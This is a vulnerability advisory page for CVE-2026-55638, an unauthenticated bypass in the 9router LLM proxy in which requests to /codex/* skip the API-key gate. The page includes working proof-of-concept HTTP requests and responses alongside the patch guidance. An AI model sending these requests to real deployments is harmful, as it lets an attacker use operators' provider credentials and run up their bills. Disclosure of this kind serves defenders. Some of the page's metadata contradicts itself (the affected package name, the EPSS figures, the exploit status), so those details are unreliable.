CVE-2026-55638: 9router: /codex bypass exposes LLM proxy credentials

GHSA-8gmq-j984-vp4rHIGHPoC AVAILABLE
Published August 28, 2026
CISO Take

9router, an OpenAI/Anthropic-compatible LLM proxy, ships a middleware auth gate that checks the incoming request path for protected prefixes like /api/v1 — but a separate Next.js rewrite silently maps /codex/* to that same protected backend after the auth check runs, so an unauthenticated attacker who simply requests /codex/x instead of /api/v1/responses walks straight past the API-key gate. With 1,005 downstream dependents and a CVSS of 8.6 (network, no auth, no user interaction, high availability impact), any internet-facing 9router deployment lets a remote attacker make upstream LLM calls billed to the operator's stored provider credentials — no exploit code or scanner template is publicly known yet and it isn't in CISA KEV, but EPSS sits at a moderate top-53% likelihood and the PoC is trivial to reproduce from the advisory alone. Treat this as a live risk if you run 9router as an LLM gateway: it directly enables unauthorized OpenAI/Anthropic usage, quota exhaustion, and surprise billing. Patch to v0.5.2 immediately, and in the interim verify the middleware's protected-prefix allowlist covers every rewrite destination, not just the canonical route paths.

Sources:NVDGitHub AdvisoryEPSSATLAS

What is the risk?

Exploitability is trivial: the attack is a single unauthenticated HTTP POST to an alternate path, requires no special tooling, no AI/ML domain knowledge, and no user interaction (AC:L, PR:N, UI:N). Impact is asymmetric — confidentiality and integrity are limited (C:L/I:L, mostly exposure of model/provider behavior and proxy responses) but availability/financial impact is high (A:H) because the attacker can freely consume the operator's paid LLM provider quota. Exposure is determined entirely by whether the 9router instance is internet-reachable; any deployment fronting a real OpenAI/Anthropic-compatible key is at risk until patched. No active exploitation or public tooling is confirmed yet, which lowers near-term urgency slightly, but the trivial exploit path means opportunistic scanning is plausible once the advisory is widely read.

How does the attack unfold?

Reconnaissance
Attacker identifies a publicly reachable 9router LLM proxy instance on the internet.
AML.T0006
Exploitation
Attacker sends an unauthenticated POST request to /codex/x, a path excluded from the middleware's protected-prefix allowlist.
AML.T0049
Unauthorized Access
The Next.js rewrite silently maps the request to /api/v1/responses, which processes it using the operator's stored LLM provider credentials.
AML.T0040
Impact
Attacker gains free, unauthorized use of the operator's LLM provider account, consuming credits/quota and incurring unexpected billing.
AML.T0034

What systems are affected?

PackageEcosystemVulnerable RangePatched
OpenAI Nodenpm< 0.5.20.5.2
11.2K1.8K dependentsPushed yesterday56% patched~139d to patchFull package profile →

Do you use OpenAI Node? You're affected.

How severe is it?

CVSS 3.1
8.6 / 10
EPSS
6.6%
chance of exploitation in 30 days
Higher than 94% of all CVEs
Exploitation Status
Exploit Available
Exploitation: MEDIUM
Sophistication
Trivial
Exploitation Confidence
medium
○Public PoC indexed (trickest/cve)
Composite signal derived from CISA KEV, VulnCheck KEV, CISA SSVC, EPSS, Metasploit, Exploit-DB, trickest/cve, Nuclei templates, and inthewild.io exploitation reports.

What is the attack surface?

AVACPRUISCIA
AVNetwork
ACLow
PRNone
UINone
SUnchanged
CLow
ILow
AHigh

What should I do?

1 step
  1. 1) Upgrade 9router to v0.5.2 or later immediately (fixed in commit b282f05). 2) If patching is delayed, review next.config.mjs rewrite rules and dashboardGuard.js PUBLIC_PREFIXES to confirm every rewrite destination that lands on a protected backend route is itself covered by the auth check (add /codex explicitly, or better, enforce auth on the backend handler rather than only at the middleware/path layer). 3) Add server-side authorization directly in the LLM handler (src/app/api/v1/responses/route.js / chat.js) as defense-in-depth so path-based bypasses can't reach upstream calls unauthenticated. 4) Monitor provider-side usage/billing dashboards for anomalous spikes and review proxy access logs for requests to /codex/* without a valid API key. 5) Rotate the operator's provider API keys if any suspicious usage is found.

How is it classified?

Which compliance frameworks are affected?

This CVE is relevant to:

ISO 42001
A.6.2-AI system operational controls
NIST AI RMF
MANAGE-2.3-Manage AI system resources and access
OWASP LLM Top 10
LLM10:2025-Unbounded Consumption

Frequently Asked Questions

What is CVE-2026-55638?

9router, an OpenAI/Anthropic-compatible LLM proxy, ships a middleware auth gate that checks the incoming request path for protected prefixes like /api/v1 — but a separate Next.js rewrite silently maps /codex/* to that same protected backend after the auth check runs, so an unauthenticated attacker who simply requests /codex/x instead of /api/v1/responses walks straight past the API-key gate. With 1,005 downstream dependents and a CVSS of 8.6 (network, no auth, no user interaction, high availability impact), any internet-facing 9router deployment lets a remote attacker make upstream LLM calls billed to the operator's stored provider credentials — no exploit code or scanner template is publicly known yet and it isn't in CISA KEV, but EPSS sits at a moderate top-53% likelihood and the PoC is trivial to reproduce from the advisory alone. Treat this as a live risk if you run 9router as an LLM gateway: it directly enables unauthorized OpenAI/Anthropic usage, quota exhaustion, and surprise billing. Patch to v0.5.2 immediately, and in the interim verify the middleware's protected-prefix allowlist covers every rewrite destination, not just the canonical route paths.

Is CVE-2026-55638 actively exploited?

Proof-of-concept exploit code is publicly available for CVE-2026-55638, increasing the risk of exploitation.

How to fix CVE-2026-55638?

1) Upgrade 9router to v0.5.2 or later immediately (fixed in commit b282f05). 2) If patching is delayed, review next.config.mjs rewrite rules and dashboardGuard.js PUBLIC_PREFIXES to confirm every rewrite destination that lands on a protected backend route is itself covered by the auth check (add /codex explicitly, or better, enforce auth on the backend handler rather than only at the middleware/path layer). 3) Add server-side authorization directly in the LLM handler (src/app/api/v1/responses/route.js / chat.js) as defense-in-depth so path-based bypasses can't reach upstream calls unauthenticated. 4) Monitor provider-side usage/billing dashboards for anomalous spikes and review proxy access logs for requests to /codex/* without a valid API key. 5) Rotate the operator's provider API keys if any suspicious usage is found.

What systems are affected by CVE-2026-55638?

This vulnerability affects the following AI/ML architecture patterns: LLM API gateways/proxies, agent frameworks (Codex-style coding agent backends), multi-provider LLM routing layers.

What is the CVSS score for CVE-2026-55638?

CVE-2026-55638 has a CVSS v3.1 base score of 8.6 (HIGH). The EPSS exploitation probability is 6.58%.

What is the AI security impact?

Affected AI Architectures

LLM API gateways/proxiesagent frameworks (Codex-style coding agent backends)multi-provider LLM routing layers

MITRE ATLAS Techniques

AML.T0034Cost Harvesting
AML.T0040AI Model Inference API Access
AML.T0049Exploit Public-Facing Application

Compliance Controls Affected

ISO 42001: A.6.2
NIST AI RMF: MANAGE-2.3
OWASP LLM Top 10: LLM10:2025

What are the technical details?

Original Advisory

## Summary 9router exposes an OpenAI/Anthropic-compatible LLM proxy. Remote access to this proxy is intended to be protected by an API-key check in the Next.js middleware. However, 9router also defines a rewrite that maps `/codex/*` to the backend LLM endpoint `/api/v1/responses`. The middleware authorization decision is made on the incoming request path before the rewrite is applied. Because `/codex` is not included in the middleware's protected LLM API prefix list, requests to `/codex/*` bypass the API-key gate and are later rewritten to the same backend used by `/api/v1/responses`. As a result, an unauthenticated remote attacker can access the LLM proxy through `/codex/*` and cause the server to make upstream provider calls using the operator-stored LLM provider credentials. ## Details | Component | File | Note | | ----------------------------- | ----------------------------------- | ------------------------------------------------------------------------- | | Middleware authorization gate | `src/dashboardGuard.js` | Protects `/v1`, `/v1beta`, `/api/v1`, and `/api/v1beta`, but not `/codex` | | Rewrite configuration | `next.config.mjs` | Rewrites `/codex/:path*` to `/api/v1/responses` | | LLM backend route | `src/app/api/v1/responses/route.js` | Dispatches rewritten requests to the LLM handler | | Chat handler | `src/sse/handlers/chat.js` | Uses operator-stored provider credentials for upstream calls | Tested version: | Version / Commit | Runtime | Status | | ------------------------------------------------------------ | ---------------- | -------- | | `v0.4.80`, commit `23da7b1fe3bb8edd2bdbdb63fbbb15a476b02c56` | Next.js `16.2.9` | Affected | ### Root Cause The middleware classifies requests by the original incoming pathname. The protected public LLM API prefixes are: ```js PUBLIC_PREFIXES = ["/v1", "/v1beta", "/api/v1", "/api/v1beta"]; ``` Because `/codex` is not included in this list, a request such as `/codex/x` does not enter the LLM API authorization branch and falls through to: ```js return NextResponse.next(); ``` The rewrite configuration then maps the allowed request to the protected backend route: ```js { source: "/codex/:path*", destination: "/api/v1/responses" } ``` The backend route reaches the same handler used by the canonical LLM endpoint: ```js return await handleChat(request); ``` The handler then processes the request and performs the upstream LLM provider call. In the tested configuration, the handler does not repeat the same middleware API-key gate for remote callers, so the rewritten request is served after bypassing the intended authorization check. ## PoC The following requests use the same target server and the same remote-style `Host` header. The only meaningful difference is the request path. ### Case 01 — Protected canonical endpoint rejects unauthenticated access ```http POST /api/v1/responses HTTP/1.1 Host: evil.attacker.com Content-Type: application/json Content-Length: 156 {"model":"fakeoai/x","input":"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello","messages":[{"role":"user","content":"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello"}]} ``` Observed result: ```http HTTP/1.1 401 Unauthorized ``` This confirms that the canonical `/api/v1/responses` path is protected by the intended API-key gate. ### Case 02 — Rewritten `/codex/*` path bypasses the API-key gate ```http POST /codex/x HTTP/1.1 Host: evil.attacker.com Content-Type: application/json Content-Length: 156 {"model":"fakeoai/x","input":"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello","messages":[{"role":"user","content":"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello"}]} ``` Observed result: ```http HTTP/1.1 200 OK ``` The request reaches the LLM backend without an API key. A controlled upstream provider endpoint recorded the outbound request from 9router: ```text POST /responses Authorization: Bearer NINEROUTER_OPERATOR_STORED_KEY_MARKER request-body marker present: true operator key marker in Authorization: true ``` This confirms that the unauthenticated `/codex/*` request causes 9router to make an upstream provider call using the operator-stored credentials. ### Case 03 — Unrelated unknown path does not reach the backend ```http POST /notcodex/x HTTP/1.1 Host: evil.attacker.com Content-Type: application/json Content-Length: 156 {"model":"fakeoai/x","input":"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello","messages":[{"role":"user","content":"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello"}]} ``` Observed result: ```http HTTP/1.1 404 Not Found ``` No upstream provider call is made. This isolates the issue to the `/codex/*` rewrite. ### Case 04 — Canonical endpoint succeeds only with a valid API key ```http POST /api/v1/responses HTTP/1.1 Host: evil.attacker.com Authorization: Bearer sk-REDACTED Content-Type: application/json Content-Length: 156 {"model":"fakeoai/x","input":"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello","messages":[{"role":"user","content":"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello"}]} ``` Observed result: ```http HTTP/1.1 200 OK ``` This confirms that the canonical endpoint is functional and that the `401` response in Case 01 is an authorization failure, not a backend error. ## Attack Scenario 1. A remote attacker identifies a publicly reachable 9router instance. 2. The attacker sends LLM proxy requests to `/codex/*` instead of `/api/v1/responses`. 3. The middleware evaluates the original `/codex/*` path and does not apply the LLM API-key gate. 4. The rewrite maps the request to `/api/v1/responses`. 5. The backend processes the request and performs an upstream provider call. 6. The upstream call uses the operator-stored provider credentials. ## Impact A successful attacker can use the operator's configured LLM provider account without authentication. Likely consequences include: * Unauthorized use of the 9router LLM proxy. * Consumption of the operator's provider credits or quota. * Unexpected billing impact. * Abuse of configured OpenAI/Anthropic-compatible providers. * Exposure of model/provider behavior through proxy responses. * Bypass of the intended API-key access control for remote LLM proxy access.

Exploitation Scenario

An attacker scans the internet for exposed 9router instances (e.g., via favicon/banner fingerprinting or Shodan-style recon). They send a POST to /codex/x with an OpenAI/Anthropic-style chat payload and no Authorization header. The middleware evaluates /codex as an unprotected path and forwards the request; Next.js then rewrites it internally to /api/v1/responses, which processes it as a normal authenticated LLM call and forwards it upstream using the operator's stored provider key. The attacker now has free, unmonitored access to a paid LLM account — usable for running their own workloads, probing the configured models/providers, or industrializing the abuse across many discovered instances to harvest compute at the victims' expense.

Weaknesses (CWE)

CWE-862 — Missing Authorization: The product does not perform an authorization check when an actor attempts to access a resource or perform an action.

  • [Architecture and Design] Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries. Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
  • [Architecture and Design] Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].

Source: MITRE CWE corpus.

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H

Timeline

Published
August 28, 2026
Last Modified
August 28, 2026
First Seen
August 28, 2026

Related Vulnerabilities